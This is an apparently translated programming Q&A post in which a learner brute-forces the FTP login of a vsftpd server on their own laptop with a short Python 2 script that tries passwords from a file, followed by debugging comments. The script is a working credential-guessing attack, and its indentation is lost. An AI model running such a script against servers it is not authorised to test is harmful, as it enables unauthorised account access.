【发布时间】:2014-01-17 17:43:09
【问题描述】:
当我尝试自学 Python 时,我使用 vsftpd 在我的笔记本电脑(ubuntu 12.04)上打开了一个 FTP 服务器。配置后我可以使用笔记本电脑本身登录
ftp localhost
我选择的用户名和密码是NINJA123(为了尝试)。
在我的电脑上(在局域网中)我打开浏览器,输入ftp://192.168.1.108/。当我弹出用户名和密码时,我输入上述详细信息 - 所以 - 一切都适用于 FTP。
我写这个是为了尝试闯入:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
感谢 rob 似乎可以工作
【问题讨论】:
-
你能检查一下VSFTPD日志吗?是否有任何信息表明该脚本尝试登录?
-
简化您的示例。摆脱密码文件并尝试直接与
ftp.login("NINJA", "123")连接。 -
@UliKöhler 我会很乐意这样做,如果你愿意告诉我它在 Robᵩ 的位置,我改变了它,但它仍然不起作用
-
@Giladiald - “我改变了它,但它仍然不起作用”。然后你没有摆脱足够的。如果您继续删除行的路径,最终您会看到错误消息:
NameError: name 'ftp' is not defined,这会给您提供线索。 -
@Giladiald 我相信按照 Robphi 的建议可以更快地解决当前状态下的问题,这意味着真正压缩你的代码(如果不是的话,将其发布在这里不明显。)。或者只是阅读 CheckNate 的答案...
标签: python python-2.7 ftp brute-force